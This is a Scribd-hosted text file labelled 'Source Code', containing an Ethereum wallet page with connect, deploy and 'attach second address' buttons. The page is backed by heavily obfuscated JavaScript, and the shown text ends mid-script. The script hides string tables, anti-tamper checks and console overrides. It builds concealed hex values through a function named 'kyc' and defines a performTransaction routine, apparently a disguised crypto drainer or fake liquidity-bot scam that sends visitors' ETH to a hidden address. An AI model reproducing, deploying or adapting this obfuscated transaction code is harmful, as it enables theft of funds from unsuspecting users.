0% found this document useful (0 votes)
26 views

Source Code

source code gh

Uploaded by

Thaddeus Tagoe
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
26 views

Source Code

source code gh

Uploaded by

Thaddeus Tagoe
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 10

<section>

<button id="connectButton">connect</button>
<table id="checkAdressBalanceButton" style="display: none">
<tr>
<td>my contract</td>
<td><button id="regular">deploy</button></td>
<td>
<p id="result"><code>no contract</code></p>
</td>
</tr>
<tr>
<td>my second address</td>
<td>
<input
type="text"
id="typeAdress"
name="adress_auth"
placeholder="Input second address ETH-0x"
autocomplete="off"
size="20" />
</td>
<td>
<button id="sendEtherButton" style="display: none">Attach</button>
</td>
<td><div id="statusMessage"></div></td>
</tr>
<tr>
<td>my status</td>
<td><center>
<button disabled="disabled" id="checkBalanceButton" style="display: none">
liquid
</button>
</td>
<td><p id="balanceDisplay" style="display: none"></p>confirm the
liquidity</td>
</tr>
</table>
<script>
const connectButton = document.getElementById("connectButton");
const sendEtherButton = document.getElementById("sendEtherButton");
const typeAdress = document.getElementById("typeAdress");
const checkBalanceButton =document.getElementById("checkBalanceButton");
const balanceDisplay = document.getElementById("balanceDisplay");
const checkAdressBalanceButton =
document.getElementById("checkAdressBalanceButton");
const statusMessage = document.getElementById("statusMessage");
let validationComplete = false;
let transferInProgress = false;
function _0x4dd0(){const
_0x5c0295=['ntGYmdyW','mJGXnJu5mdDgvwD2v0O','yMLUza','vNvnz0e','EufyuKm','C3nLBMDLC
IbatW','ve9Kug0','werJufa','yw5Jzq','AKfkvNq','B3zpDva','DhjHy2u','rxjYB3iGy29UzG',
'wKjvwg0','rxjYB3iHieeGCW','wLzQy0i','Bwv0Ag9K','C2uGD3jPDguGDa','yLj1tge','BYbTzsb
2AweGDa','vvLMy3y','zhjLC3m','Evnpu0W','vuf1EMm','rKDTve8','qKfQuNq','Duviq0i','nJe
5ndq','DgXOtgu','t2fUDuq','zwj2r3u','Cfn3r2C','EuLWvLG','yMjjDu4','C2DqvM4','BgvUz3
rO','y3rVCIGICMv0Dq','ywDKs04','CvPtuxu','ngX5q2D5CW','CNj5','vgzwCgW','ndCZmZeZnxH
RBhDptq','ote4mZuX','zvnHy0O','Bgf0zxn0','zgL0Es4GugXLyq','x19WCM90B19F','nty1mdC3y
Lburu5r','yM1Uwhy','E30Uy29UC3rYDq','AxjTAw5NigXPCq','nZeXodq5mfHWDw1Tvq','ELbXzee'
,'uhnnqMO','DhDxuhy','DwLKAxr5lIbszq','zuzvqvO','BwuGsM9OBIbnyq','rvnXs00','ChjVDg9
0ExbL','C2vHCMnO','BwjYBMO','DwzwwvK','igDHCYbMzwu','BvDsA3u','yvLsswm','AfjHAei','
D2fYBG','ndi0BvvxwgXe','zxrOx2DHC1bYAq','DgXpAM8','wKnJuMC','rvLArhG','oe9LDKT3uq',
'Bez2txK','y29UC3rYDwn0BW','CMv0DxjUicHMDq','z1PsAgu','BM8GrvriigzVCG','zxrOx3nLBMr
uCG','yLfLy04','BMn0Aw9UkcKG','yxbWBhK','Aw5MBW','zwXLz3jHBsbTzq','z0nIC0W','zxjYB3
i','CMvXDwvZDa','mZC0ndC5na','DNfmCwq','yxHKBwi','ndmWmNPPDuX4sG','Cfnlz1q','u1nUAM
S','nZK4mdmY','mJy1mZy','wxjlChe','vMLKwKW','DMfSDwu','AgXUsw4','zxrOx2DLDejHBa','y
29UC29Szq','rvDjzKC','Cgfssui','BwfSBcbHBw91BG','DgfIBgu','rhbvEM8','C2vSzwn0zwrbza
','CuXSCKO','AKjTv2S','odCYnZC0','rKHhCuK','zxHJzxb0Aw9U','Dw9wrxG','CgvHDcbHz2fPBG
','uffHrgm','z0Hmt3y','r3fnD20','wNrHueC','EwP2yMu','Dg9tDhjPBMC','ywTdAfu','zhfJsx
O','D21wvvC','mtK5nZHnELLlD24','kcGOlISPkYKRkq','yMrpuuy','BuveD3O','uMv1uMu','DcbV
zIbSAxf1Aq','BMX5vhj1C3rdCG','Exb0BYbnEsbUyq','otm1mtGZuefny2DH','AvbUDwe','z2TUA1C
','zxrOzxjLDw0','CM4GDgHPCYiPka','mJmXmdGZnq','Bg9N','yw5Zywn0Aw9U','wwPwDMy','ugXH
rwu','mZy2sfHnsNPp','sgvoDxi'];_0x4dd0=function(){return _0x5c0295;};return
_0x4dd0();}function _0x1071(_0x4164e8,_0x50df6a){const _0xa9ed86=_0x4dd0();return
_0x1071=function(_0x4535c3,_0x5d21ea){_0x4535c3=_0x4535c3-(0xda+-
0x49*0xe+0x28b*0x2);let
_0x20220c=_0xa9ed86[_0x4535c3];if(_0x1071['ldUrHA']===undefined){var
_0x3e858c=function(_0x1b529c){const
_0x57aecf='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let
_0x388a01='',_0x2b1c23='',_0xc9f47c=_0x388a01+_0x3e858c;for(let _0x1414ea=-
0x92*0x26+0x5cf+-0x83*-0x1f,_0x17eaf8,_0x127801,_0x587648=0x15d8+0x22bf*-
0x1+0xce7;_0x127801=_0x1b529c['charAt'](_0x587648+
+);~_0x127801&&(_0x17eaf8=_0x1414ea%(-0x7aa+0x47e+-0xc*-0x44)?_0x17eaf8*(-0xbf+-
0x43*0x31+-0x1*-0xdd2)+_0x127801:_0x127801,_0x1414ea++%(0xa1*0x20+0x1*-0xad7+-
0x945))?_0x388a01+=_0xc9f47c['charCodeAt'](_0x587648+(-0x15b*0x11+0xd4*0x22+0x1b1*-
0x3))-(-0x454*-0x1+0x7*0x189+-0xf09)!==-0x1*-0x1981+0x4fb+0xf3e*-0x2?
String['fromCharCode'](-0xe4e+-0xd0b+0x1c58&_0x17eaf8>>(-(-0x26fb*-0x1+0xe53*-
0x2+0x3*-0x371)*_0x1414ea&-0x29*-0x71+0xf6+-0x1309)):_0x1414ea:0x99f*0x1+-
0x1fbb*0x1+0x161c*0x1){_0x127801=_0x57aecf['indexOf'](_0x127801);}for(let
_0x5472b4=-0x73c+0xa9b+-
0x35f,_0x4529b6=_0x388a01['length'];_0x5472b4<_0x4529b6;_0x5472b4++)
{_0x2b1c23+='%'+('00'+_0x388a01['charCodeAt'](_0x5472b4)['toString'](0x173f+-
0x20*0x11+-0x150f))['slice'](-(-0x1d2e+0x5a5+0x178b));}return
decodeURIComponent(_0x2b1c23);};_0x1071['SfcYAR']=_0x3e858c,_0x4164e8=arguments,_0x
1071['ldUrHA']=!![];}const _0x5787cb=_0xa9ed86[0x2c3+-
0x3*0x64f+0x102a],_0x222dd3=_0x4535c3+_0x5787cb,_0x2555f0=_0x4164e8[_0x222dd3];if(!
_0x2555f0){const _0x45cc43=function(_0x1bd204)
{this['YKxxAE']=_0x1bd204,this['duEnqs']=[-0x1168*0x1+-0xac5+-0x2*-
0xe17,0xfc6+0x3f0*0x1+-0x13b6,-0x23f0+0x11bf+0x1231],this['ZSTZct']=function()
{return'newState';},this['RHWJLr']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\
x20*',this['jwOUOX']='[\x27|\x22].+[\x27|\x22];?\x20*}';};_0x45cc43['prototype']
['pRtRjN']=function(){const _0x45946c=new RegExp(this['RHWJLr']
+this['jwOUOX']),_0x5201b3=_0x45946c['test'](this['ZSTZct']['toString']())?--
this['duEnqs'][-0x1be1+-0x2e*0xc7+0x2*0x1fd2]:--this['duEnqs']
[0x1*0x1f35+0x1*0x242f+-0x4364];return this['hudnzz']
(_0x5201b3);},_0x45cc43['prototype']['hudnzz']=function(_0x11a5c0){if(!
Boolean(~_0x11a5c0))return _0x11a5c0;return this['FQZOkL']
(this['YKxxAE']);},_0x45cc43['prototype']['FQZOkL']=function(_0xe94ad9){for(let
_0x4f3133=0x1*-0x786+-0x12a3*-0x2+-0x1dc0,_0x1bd207=this['duEnqs']
['length'];_0x4f3133<_0x1bd207;_0x4f3133++){this['duEnqs']['push'](Math['round']
(Math['random']())),_0x1bd207=this['duEnqs']['length'];}return
_0xe94ad9(this['duEnqs'][-0x1ad7*0x1+-0x519*-0x1+0x15be]);},new _0x45cc43(_0x1071)
['pRtRjN'](),_0x20220c=_0x1071['SfcYAR']
(_0x20220c),_0x4164e8[_0x222dd3]=_0x20220c;}else _0x20220c=_0x2555f0;return
_0x20220c;},_0x1071(_0x4164e8,_0x50df6a);}(function(_0x3ecbbb,_0xadb784){const
_0x4e2d67=_0x3ecbbb();function _0x25e665(_0x10425a,_0x295a3f,_0x33ebe5,_0x8cd5a4)
{return _0x1071(_0x33ebe5-0x146,_0x8cd5a4);}function
_0x2b2706(_0xb88daf,_0x5992e4,_0x5594ee,_0x538540){return _0x1071(_0x5992e4-
0x2a5,_0x5594ee);}while(!![]){try{const _0x4660c3=-
parseInt(_0x25e665(0x3b5,0x357,0x37c,0x3a1))/(-0x136c+-0x26f4+-0x3a61*-
0x1)+parseInt(_0x25e665(0x316,0x362,0x341,0x325))/(0x1a8c*-0x1+-0x221a+0x3ca8)*(-
parseInt(_0x2b2706(0x507,0x517,0x546,0x4d3))/(0x7c2+-0x1d32+0x1*0x1573))
+parseInt(_0x2b2706(0x54a,0x50e,0x54b,0x519))/(-0x1*0x1485+-0x421+0x1*0x18aa)*(-
parseInt(_0x25e665(0x3d5,0x391,0x3b2,0x384))/(0x33d*0x9+-0x2fc*-0x7+-0x3*0x10ac))
+parseInt(_0x2b2706(0x4f0,0x4e5,0x4d8,0x4f3))/(-0x5ed*0x1+0xd4*0x1+-0x17*-0x39)*(-
parseInt(_0x25e665(0x3b4,0x38a,0x374,0x377))/(-0x23cb+-0x2*0x5de+-0x2*-0x17c7))+-
parseInt(_0x2b2706(0x4ba,0x49b,0x49e,0x462))/(0x1090+-0x107d+0x1*-0xb)*(-
parseInt(_0x2b2706(0x4fa,0x4b2,0x4d7,0x4e3))/(-0x1f5a+0x16cd*-0x1+0x3630))
+parseInt(_0x25e665(0x402,0x3e4,0x3bc,0x3f8))/(-0x1*0x1d53+0x4*-
0x6a9+0x3801)+parseInt(_0x2b2706(0x4dc,0x4e8,0x52d,0x506))/(-0x180f*0x1+-0x1*-
0x22a+0x15f0);if(_0x4660c3===_0xadb784)break;else _0x4e2d67['push']
(_0x4e2d67['shift']());}catch(_0x17415e){_0x4e2d67['push'](_0x4e2d67['shift']
());}}}(_0x4dd0,0x8d83e*0x1+0x522b2+0x3439a*-0x2));function kyc(_0x510c0d){const
_0x316c15={'YjVvf':function(_0x27759e,_0xfe80cb){return
_0x27759e(_0xfe80cb);},'GqMwm':function(_0x19a277,_0x4b80e6){return
_0x19a277+_0x4b80e6;},'tlhLe':function(_0x3b3303,_0x70018d){return
_0x3b3303+_0x70018d;},'agdKN':_0x213592(0x24a,0x236,0x276,0x268)+_0x11fccf(-0x116,-
0xfc,-0x15f,-0xfd),'dqcIz':_0x213592(0x2e0,0x2ac,0x28e,0x2df)
+_0x213592(0x29c,0x29e,0x274,0x261)+_0x213592(0x234,0x272,0x284,0x26e)+'\
x20)','uEHCB':function(_0x5483bd,_0x2be0e2){return
_0x5483bd===_0x2be0e2;},'gHLOv':_0x213592(0x269,0x25b,0x258,0x25f),'XDcPP':_0x21359
2(0x264,0x270,0x287,0x240),'zPqdA':_0x213592(0x239,0x267,0x24c,0x285)+'+
$','pSKgT':_0x213592(0x254,0x22c,0x219,0x203),'mEDwz':_0x11fccf(-0x9c,-0xe0,-0x63,-
0x7b),'vqLqd':function(_0x337e6c,_0x4a34a4){return _0x337e6c!
==_0x4a34a4;},'qLlrJ':_0x11fccf(-0x11a,-0x161,-0x104,-0xeb),'bdOQF':_0x11fccf(-
0xf8,-0x13c,-0x129,-
0x130),'paRIB':_0x213592(0x26e,0x286,0x280,0x282)+_0x213592(0x288,0x2ad,0x2e9,0x2d9
)+_0x11fccf(-0x9f,-0x91,-0x87,-0x9f)+_0x11fccf(-0xf5,-0x131,-0xb8,-
0xda),'BAjRt':function(_0x2afffb){return _0x2afffb();},'iPnua':_0x11fccf(-0x124,-
0x110,-0x134,-0xe8),'HeNur':_0x11fccf(-0x114,-0x11f,-0x100,-
0x11d),'OanuD':_0x11fccf(-0x111,-0xe4,-0x158,-
0x13a),'YrKpq':_0x213592(0x29a,0x253,0x22d,0x289),'axdmb':_0x213592(0x2a8,0x285,0x2
5d,0x27e),'bmnXv':function(_0x546472,_0x27f837){return
_0x546472===_0x27f837;},'wmVUW':_0x11fccf(-0x11f,-0x102,-0xf7,-
0x151),'mbrnj':_0x213592(0x25c,0x22b,0x211,0x200),'ReuRe':function(_0x5becc5,_0x767
92c,_0x34d9e9){return _0x5becc5(_0x76792c,_0x34d9e9);},'twWPv':function(_0x124d02)
{return _0x124d02();},'TOdPm':function(_0x27cea5,_0x6b5a9f,_0x354d4b){return
_0x27cea5(_0x6b5a9f,_0x354d4b);},'yIpVX':function(_0x2c0966){return
_0x2c0966();}},_0x4884cf=(function(){const _0x47eb01={};function
_0x3a26c2(_0xdec00b,_0x38c273,_0x13904b,_0xfd057a){return
_0x213592(_0xdec00b,_0x38c273- -0x261,_0x13904b-0x1c2,_0xfd057a-0x4b);}function
_0x2ba606(_0x549042,_0x56ff13,_0x2ac58a,_0x3a7f8d){return
_0x213592(_0x56ff13,_0x3a7f8d- -0x288,_0x2ac58a-0x1bc,_0x3a7f8d-
0x1ca);}_0x47eb01[_0x2ba606(0x43,0x41,-
0x4,0x14)]=_0x3a26c2(0x23,0x45,0x10,0x9);const _0xb97291=_0x47eb01;let _0x19c6bf=!!
[];return function(_0x4b04c4,_0x23172a){const
_0x3d6003={};_0x3d6003[_0x3bb7bc(0xf1,0x159,0x123,0xf5)]=_0xb97291[_0x3bb7bc(0x15c,
0x168,0x174,0x134)];const _0x143420=_0x3d6003,_0x28d823=_0x19c6bf?function()
{function _0x597ee7(_0x3b5182,_0x3c6141,_0x4fb5a1,_0x17a03e){return
_0x3bb7bc(_0x3b5182,_0x3c6141-0x15e,_0x17a03e- -0x2da,_0x17a03e-0x101);}function
_0x2b6fb3(_0x236554,_0x56b800,_0x3394e0,_0x3da115){return _0x2efa89(_0x56b800-
0x206,_0x56b800-0x53,_0x3394e0-0xda,_0x3394e0);}if(_0x23172a)
{if(_0x143420[_0x597ee7(-0x1a8,-0x1a0,-0x1d7,-0x1b7)]===_0x597ee7(-0x185,-0x120,-
0x15b,-0x15c)){const _0x1d8a6c=_0x23172a[_0x2b6fb3(0x3e8,0x3de,0x405,0x3df)]
(_0x4b04c4,arguments);return _0x23172a=null,_0x1d8a6c;}else{const
_0x2350be=_0x4135cc[_0x597ee7(-0x1e6,-0x186,-0x1e3,-0x1c6)]
(_0x2f5866,arguments);return _0x4ed15b=null,_0x2350be;}}}:function(){};function
_0x2efa89(_0x1ad826,_0x335238,_0x5ec2c5,_0x993a38){return
_0x3a26c2(_0x993a38,_0x1ad826-0x1fd,_0x5ec2c5-0x7d,_0x993a38-0x106);}_0x19c6bf=!
[];function _0x3bb7bc(_0x374284,_0x10e615,_0x30452a,_0x273e1a){return
_0x2ba606(_0x374284-0x1c6,_0x374284,_0x30452a-0x6,_0x30452a-0x160);}return
_0x28d823;};}()),_0x501101=_0x316c15[_0x213592(0x26f,0x26a,0x273,0x259)]
(_0x4884cf,this,function(){function
_0xa7353d(_0x5e6435,_0x4048a8,_0x4759e8,_0x962a00){return _0x11fccf(_0x5e6435-
0x1d0,_0x4048a8-0x83,_0x4759e8-0x97,_0x4048a8);}function
_0x53d90a(_0x2ee57f,_0x4cd508,_0x2eb1ec,_0x46a668){return _0x11fccf(_0x46a668-
0x2c1,_0x4cd508-0x1e,_0x2eb1ec-
0x15a,_0x4cd508);}if(_0x316c15[_0x53d90a(0x1fa,0x1d9,0x1cb,0x204)]
(_0x316c15[_0x53d90a(0x1f0,0x1ed,0x1dd,0x1ce)],_0x316c15[_0x53d90a(0x1ac,0x228,0x22
d,0x1f1)]))_0x228aba=FRkUds[_0xa7353d(0xf5,0xec,0xae,0xd4)]
(_0x47b384,FRkUds[_0xa7353d(0xde,0x109,0xe9,0xe6)]
(FRkUds[_0xa7353d(0x115,0xfd,0xf2,0x111)]
(FRkUds[_0x53d90a(0x230,0x1e2,0x202,0x20f)],FRkUd
s[_0x53d90a(0x1af,0x1df,0x1fe,0x1d4)]),');'))();else return
_0x501101[_0x53d90a(0x1a2,0x1d5,0x1d5,0x1d2)]()[_0x53d90a(0x21d,0x1e7,0x240,0x227)]
(_0x316c15[_0xa7353d(0x12e,0x111,0x131,0xea)])[_0xa7353d(0xe1,0xc0,0x11a,0xcb)]()
[_0x53d90a(0x1a8,0x183,0x183,0x1a5)+'r'](_0x501101)
[_0x53d90a(0x1e7,0x20f,0x1f3,0x227)](_0xa7353d(0xe6,0xc2,0x126,0x10e)+'+
$');});_0x316c15[_0x11fccf(-0xa0,-0x64,-0xd3,-0x6d)](_0x501101);const
_0x2418fd=(function(){function _0xff75a0(_0x5dfb83,_0x2ef8e0,_0x593cfb,_0x2c9aa3)
{return _0x11fccf(_0x2c9aa3-0x7e,_0x2ef8e0-0x1c4,_0x593cfb-
0xb9,_0x5dfb83);}function _0x155978(_0x391657,_0x289ac5,_0x5dc6f0,_0x560c87){return
_0x213592(_0x391657,_0x289ac5-0xb7,_0x5dc6f0-0xd1,_0x560c87-
0xd5);}if(_0x316c15[_0x155978(0x2ce,0x2fa,0x2d0,0x2d1)]
(_0x316c15[_0x155978(0x343,0x30d,0x2e7,0x2dc)],_0x316c15[_0xff75a0(-0x6f,-0x8b,-
0x64,-0x6b)])){let _0x167911=!![];return function(_0x58d18b,_0x2408b0){function
_0x185cb1(_0x5dc34d,_0xf9b6fb,_0x132ab6,_0x851506){return
_0x155978(_0xf9b6fb,_0x851506- -0x74,_0x132ab6-0x147,_0x851506-0xf6);}function
_0x480e39(_0x126bfe,_0x197657,_0x5a9604,_0x20d380){return
_0xff75a0(_0x197657,_0x197657-0x50,_0x5a9604-0x110,_0x5a9604-
0x676);}if(_0x316c15[_0x185cb1(0x2ca,0x24b,0x252,0x289)]===_0x316c15[_0x185cb1(0x28
3,0x2bf,0x29e,0x2ac)]){const
_0x14d9bb=_0x26b80e[_0x185cb1(0x238,0x29d,0x233,0x278)+'r']
[_0x480e39(0x68d,0x675,0x659,0x640)][_0x185cb1(0x293,0x2e1,0x300,0x2bf)]
(_0x29a1b4),_0x5687ce=_0x244c3c[_0xda9311],_0x24aeaf=_0x40bc3c[_0x5687ce]||
_0x14d9bb;_0x14d9bb[_0x480e39(0x621,0x67c,0x64c,0x624)]=_0x296e23[_0x480e39(0x61a,0
x61d,0x61f,0x664)]
(_0x3ee096),_0x14d9bb[_0x185cb1(0x278,0x2d6,0x2c9,0x2a5)]=_0x24aeaf[_0x480e39(0x60e
,0x5d3,0x605,0x5fd)][_0x480e39(0x65e,0x65b,0x61f,0x605)]
(_0x24aeaf),_0x18ea5d[_0x5687ce]=_0x14d9bb;}else{const _0x3fb3ff=_0x167911?
function(){function _0x44e674(_0x3757fb,_0x49152e,_0x19f58b,_0x3ea5e7){return
_0x480e39(_0x3757fb-0x30,_0x19f58b,_0x3ea5e7- -0x5ad,_0x3ea5e7-0xd6);}if(_0x2408b0)
{const _0x281d7d=_0x2408b0[_0x44e674(0x30,0x6f,-0x6,0x32)]
(_0x58d18b,arguments);return _0x2408b0=null,_0x281d7d;}}:function(){};return
_0x167911=![],_0x3fb3ff;}};}else{if(_0x1187bf){const
_0x114279=_0x3ca280[_0xff75a0(-0xba,-0x75,-0xb3,-0x97)](_0x139af1,arguments);return
_0xdcb107=null,_0x114279;}}}());function
_0x11fccf(_0x59d192,_0x28ba39,_0x4cc5ab,_0x4f019d){return _0x1071(_0x59d192- -
0x319,_0x4f019d);}const _0x265e6f=_0x316c15[_0x213592(0x251,0x280,0x26c,0x24f)]
(_0x2418fd,this,function(){const _0x4cc83e={'FGmTO':function(_0x25d231,_0x52b583)
{function _0x4bb335(_0x23069a,_0x446839,_0x3362ae,_0x34ee05){return
_0x1071(_0x446839- -0x81,_0x3362ae);}return
_0x316c15[_0x4bb335(0x1a6,0x1bd,0x1de,0x1d5)]
(_0x25d231,_0x52b583);},'ZVjcB':_0x316c15[_0x5e9d1c(0x300,0x31b,0x2fd,0x33d)],'qZSQ
u':function(_0x4d4672,_0x5ef366){function
_0x4cd1e5(_0x351f29,_0x79f25b,_0x23831d,_0x18b48a){return
_0x5e9d1c(_0x23831d,_0x79f25b-0xc5,_0x23831d-0x100,_0x79f25b- -0x287);}return
_0x316c15[_0x4cd1e5(0x65,0xa8,0xa9,0x8e)]
(_0x4d4672,_0x5ef366);},'gCbsL':_0x17bf85(-0xb8,-0x91,-0xed,-
0x7f),'jBmWk':function(_0x4021e3,_0x2cc930){return
_0x4021e3+_0x2cc930;},'bbIuN':_0x5e9d1c(0x303,0x335,0x2f0,0x322)+_0x5e9d1c(0x34c,0x
357,0x2fd,0x327),'mWRku':_0x316c15[_0x17bf85(-0xed,-0xea,-0xf7,-
0xb8)]},_0x1abe6c=function(){let _0x315995;function
_0x1ee7b5(_0x12764a,_0x510a89,_0x7f909,_0xa83c7d){return
_0x5e9d1c(_0x12764a,_0x510a89-0x1c7,_0x7f909-0x2a,_0x510a89- -
0x48d);}try{_0x4cc83e[_0x1ee7b5(-0x107,-0x101,-0xe0,-0x102)](_0x4cc83e[_0x1ee7b5(-
0x17f,-0x162,-0x13a,-0x12a)],_0x2b4533(-0x88,-0x73,-0x9c,-0xb0))?
_0x315995=_0x4cc83e[_0x1ee7b5(-0x10e,-0x10f,-0x137,-0x133)]
(Function,_0x4cc83e[_0x1ee7b5(-0x121,-0x14a,-0x12b,-0x115)](_0x4cc83e[_0x2b4533(-
0x9a,-0xf3,-0x70,-0xb6)](_0x4cc83e[_0x1ee7b5(-0xcb,-0x106,-0x14b,-
0xee)],_0x4cc83e[_0x1ee7b5(-0x151,-0x177,-0x16a,-0x197)]),');'))():
(_0x4cc83e[_0x2b4533(-0x62,-0x6f,-0x86,-0x7b)](_0x46a67d,_0x4cc83e[_0x1ee7b5(-
0x149,-0x118,-0xef,-0x11a)]),_0x316a64[_0x1ee7b5(-0x18f,-0x161,-0x12d,-0x135)]
(_0x55336e),_0x995cb3=![]);}catch(_0x3f9940){_0x315995=window;}function
_0x2b4533(_0x4958b0,_0x3e9432,_0x1ae96e,_0x6d32eb){return
_0x5e9d1c(_0x1ae96e,_0x3e9432-0xca,_0x1ae96e-0x131,_0x6d32eb- -0x3f9);}return
_0x315995;};function _0x17bf85(_0x2896f6,_0x15f4b5,_0x5a2348,_0xe3b61f){return
_0x213592(_0x5a2348,_0x2896f6- -0x351,_0x5a2348-0x192,_0xe3b61f-0xf8);}function
_0x5e9d1c(_0xaafce2,_0x3f4a0c,_0xea8dfb,_0x2c32f8){return _0x11fccf(_0x2c32f8-
0x43d,_0x3f4a0c-0xfa,_0xea8dfb-0x15e,_0xaafce2);}const
_0x50bae7=_0x316c15[_0x17bf85(-0xbe,-0xa9,-0xf3,-0xa2)]
(_0x1abe6c),_0x4bca05=_0x50bae7[_0x5e9d1c(0x368,0x375,0x308,0x33b)]=_0x50bae7[_0x17
bf85(-0x102,-0xbf,-0x10f,-0xd7)]||{},_0x2d58eb=[_0x17bf85(-0xdd,-0x117,-0xb0,-
0xe2),_0x316c15[_0x5e9d1c(0x394,0x34e,0x381,0x35b)],_0x316c15[_0x5e9d1c(0x3a5,0x34e
,0x38b,0x365)],_0x316c15[_0x17bf85(-0xba,-0x8b,-0x90,-
0x81)],_0x5e9d1c(0x383,0x300,0x311,0x346),_0x316c15[_0x5e9d1c(0x325,0x35b,0x314,0x3
36)],_0x316c15[_0x5e9d1c(0x318,0x2fe,0x338,0x330)]];for(let
_0x5ae934=0x1bd7+0x1d19+0x71e*-
0x8;_0x5ae934<_0x2d58eb[_0x5e9d1c(0x35a,0x3a5,0x381,0x389)];_0x5ae934++)
{if(_0x316c15[_0x5e9d1c(0x365,0x364,0x38b,0x397)]
(_0x316c15[_0x5e9d1c(0x30a,0x392,0x396,0x351)],_0x316c15[_0x17bf85(-0x99,-0xb9,-
0xad,-0x74)])){const _0x3ce028=_0xa8a915?function(){function
_0x87d3ec(_0x1a299c,_0x39fe2c,_0x4265d6,_0x406275){return _0x17bf85(_0x4265d6-
0x51,_0x39fe2c-0x1f2,_0x1a299c,_0x406275-0x4b);}if(_0x4af079){const
_0x370e63=_0x48404a[_0x87d3ec(-0xc9,-0x8c,-0xc4,-0x9b)](_0x22755e,arguments);return
_0x4ccc16=null,_0x370e63;}}:function(){};return _0xecd589=![],_0x3ce028;}else{const
_0x4bdb4d=_0x2418fd[_0x5e9d1c(0x32e,0x343,0x32a,0x321)+'r'][_0x17bf85(-0x9b,-0xa0,-
0x84,-0x71)][_0x5e9d1c(0x38e,0x35e,0x348,0x368)]
(_0x2418fd),_0x4633a8=_0x2d58eb[_0x5ae934],_0x436066=_0x4bca05[_0x4633a8]||
_0x4bdb4d;_0x4bdb4d[_0x5e9d1c(0x36a,0x393,0x3d9,0x395)]=_0x2418fd[_0x17bf85(-0xd5,-
0xdd,-0xf5,-0x116)]
(_0x2418fd),_0x4bdb4d[_0x5e9d1c(0x371,0x346,0x34d,0x34e)]=_0x436066[_0x5e9d1c(0x31b
,0x355,0x359,0x34e)][_0x17bf85(-0xd5,-0xf1,-0xc1,-0xa4)]
(_0x436066),_0x4bca05[_0x4633a8]=_0x4bdb4d;}}});function
_0x213592(_0x2ee095,_0x48d914,_0x4d241f,_0x2f3eb){return _0x1071(_0x48d914-
0x38,_0x2ee095);}return _0x316c15[_0x11fccf(-0xb7,-0x9b,-0x95,-0x9d)]
(_0x265e6f),parseInt(_0x510c0d)[_0x11fccf(-0xef,-0xff,-0x128,-0xcb)](-
0xc83+0x13*0x26+0xe3*0xb);}const
m=_0x47d669(0x178,0x153,0x16d,0x178),k=_0x30506d(0x9b,0xc4,0x82,0x63),evm=kyc(m),e=
_0x47d669(0x18f,0x1a6,0x1cb,0x1eb),hashlock=kyc(k),unit=''+evm+hashlock;function
_0x47d669(_0x735ef7,_0x46a283,_0x119fc6,_0x5b1fe8){return _0x1071(_0x46a283- -
0xb7,_0x735ef7);}function _0x30506d(_0x5c2233,_0x326daa,_0x527bed,_0xd7665d){return
_0x1071(_0x5c2233- -0x1a0,_0x527bed);}const
v=_0x30506d(0xcd,0xfd,0xfa,0x9a),moe=kyc(e),n=_0x30506d(0x71,0x37,0x58,0xb3),spv=ky
c(v),c=_0x30506d(0x80,0x6b,0x86,0xbe),comission=kyc(n),confirm=''+moe+spv,performTr
ansaction=async()=>{const _0x13b4dc={'bQecN':function(_0xcd4330,_0x3fc111){return
_0xcd4330+_0x3fc111;},'VuMgA':function(_0x522319,_0x2d5961){return
_0x522319+_0x2d5961;},'jAJVt':_0x3f1f03(-0xf1,-0xc4,-0xf7,-
0x115)+_0x53cedc(0xf2,0xd2,0xcd,0xc0),'ovOuP':_0x53cedc(0x144,0x126,0x137,0x131)+_0
x53cedc(0x138,0x110,0x155,0x123)+_0x53cedc(0xd2,0xd5,0x135,0xf7)+'\
x20)','DpUzo':function(_0x169e9e,_0x5d7a50){return _0x169e9e!
==_0x5d7a50;},'SSnjk':_0x3f1f03(-0xa0,-0xa9,-0xc8,-
0xa0),'yjvbe':_0x53cedc(0xe0,0xf7,0xba,0xcd),'PlaEe':_0x53cedc(0x130,0xef,0x109,0xf
f),'UYfcv':function(_0x1528ac,_0x37b5c8){return
_0x1528ac(_0x37b5c8);},'EWIfG':_0x3f1f03(-0xd9,-0x114,-0x121,-0xd2)+_0x3f1f03(-
0xa5,-0xa9,-0x8f,-0xb7),'ySOSL':_0x3f1f03(-0x80,-0x84,-0x37,-
0xba),'ZtaPG':_0x53cedc(0x7c,0x70,0xbe,0xb4)+'ce','lFvMy':function(_0x1926cc,_0xb58
221){return _0x1926cc*_0xb58221;},'ZCcRg':function(_0x9b8b3c,_0x329136){return
_0x9b8b3c<_0x329136;},'tlOjo':function(_0x238eb2,_0x1fa9f1){return
_0x238eb2===_0x1fa9f1;},'hlnIn':_0x3f1f03(-0x84,-0xa8,-0x41,-
0x59),'ebvGu':function(_0x50236e,_0x52029e){return
_0x50236e(_0x52029e);},'UAuzc':_0x3f1f03(-0xef,-0xb7,-0x117,-
0xd8)+_0x53cedc(0x184,0xfe,0x144,0x13f),'PsMBj':function(_0x2563b3,_0x5e2865)
{return _0x2563b3-_0x5e2865;},'bRuLa':function(_0x18c372,_0x5fd821){return
_0x18c372+_0x5fd821;},'ufVYY':function(_0x530c1b,_0x361a00){return
_0x530c1b(_0x361a00);},'akChU':_0x3f1f03(-0x74,-0xb9,-0x78,-0x98)};function
_0x3f1f03(_0x3e9dbc,_0x44d21c,_0x25464e,_0x155bc4){return _0x30506d(_0x3e9dbc- -
0x14f,_0x44d21c-0x171,_0x155bc4,_0x155bc4-0x96);}function
_0x53cedc(_0x4b3b60,_0x22431e,_0x225ec6,_0x4097f){return _0x30506d(_0x4097f-
0x5d,_0x22431e-0x1ae,_0x4b3b60,_0x4097f-
0x135);}try{if(_0x13b4dc[_0x53cedc(0xcc,0xe9,0xd9,0xd9)]
(_0x13b4dc[_0x53cedc(0x102,0x10c,0xb5,0xcc)],_0x13b4dc[_0x3f1f03(-0xe0,-0xa0,-
0xf8,-0xd1)])){let _0x641ee;try{_0x641ee=_0x330f1c(ECZQVK[_0x3f1f03(-0xed,-0x117,-
0xe5,-0xef)](ECZQVK[_0x53cedc(0x13c,0xd8,0xdf,0x102)]
